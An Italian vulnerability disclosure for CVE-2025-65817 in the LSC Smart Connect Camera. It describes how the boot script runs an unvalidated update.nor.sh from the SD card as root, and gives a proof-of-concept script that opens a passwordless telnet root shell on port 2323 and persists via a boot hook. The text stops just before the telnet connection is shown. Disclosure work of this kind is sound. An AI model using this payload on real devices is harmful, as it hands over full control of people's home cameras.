CVE-2025-65817

Report di vulnerabilità su LSC Smart Connect Camera

La vulnerabilità trovata consiste nello sfruttare il sistema di aggiornamento in start_app.sh, più precisamente tramite il mount della scheda SD e il file update.nor.sh.

Variabili di configurazione

# routines of sd-card
# /mnt is for backword compatible
SDC_DIR=/mnt
SDC_HOOK=$SDC_DIR/update.nor.sh
SDC_FLAG_DEBUG=$SDC_DIR/__ipc_debug.ini
TMP_HOOK=/tmp/update.nor.sh
SENSOR_ISP_HOOK=$SDC_DIR/ISP/*t23.bin
# debug core-dump
WHERE_COREDMP="/mnt/sdc/coredmp"
WHERE_EXEC="/usr/local/bin/doraemon"

La sezione local/sbin/start_app.sh:50–99 si fida ciecamente di qualsiasi file chiamato update.nor.sh situato sulla scheda SD. Durante il processo di avvio, lo script:

• monta la scheda SD,
• copia update.nor.sh in /tmp/update.nor.sh,
• non esegue alcuna validazione del suo contenuto, integrità, permessi o proprietà.

Più avanti nella sequenza di avvio (local/sbin/start_app.sh:108–129), il file copiato viene:

• contrassegnato come eseguibile,
• eseguito come root,
• eseguito con il punto di mount della scheda SD passato come argomento.

Questa esecuzione avviene prima che il servizio ipc_service principale venga avviato, il che significa che lo script viene eseguito in un ambiente con privilegi massimi, dove sono già disponibili utility di rete, funzioni watchdog e helper di aggiornamento.

Utility disponibili

Lo sfruttamento consiste nel creare una shell e aprire una porta tramite telnetd, che è presente sulla telecamera:

/bin # busybox --list
[...]
sh
sleep
swapoff
syslogd
tail
tar
tcpsvd
telnetd
[...]

Prova di concetto

Basta scrivere uno script .sh sulla scheda SD e chiamarlo update.nor.sh.

L'exploit che ho scelto è:

#!/bin/sh

telnetd -l /bin/sh -p 2323 &

echo "Telnet start by update.nor.sh" > /tmp/exploit_success

cp /mnt/update.nor.sh /mnt/config/hook-boot.sh

date > /tmp/exploit_time

Confermiamo che la porta è aperta.

Ci colleghiamo tramite telnet: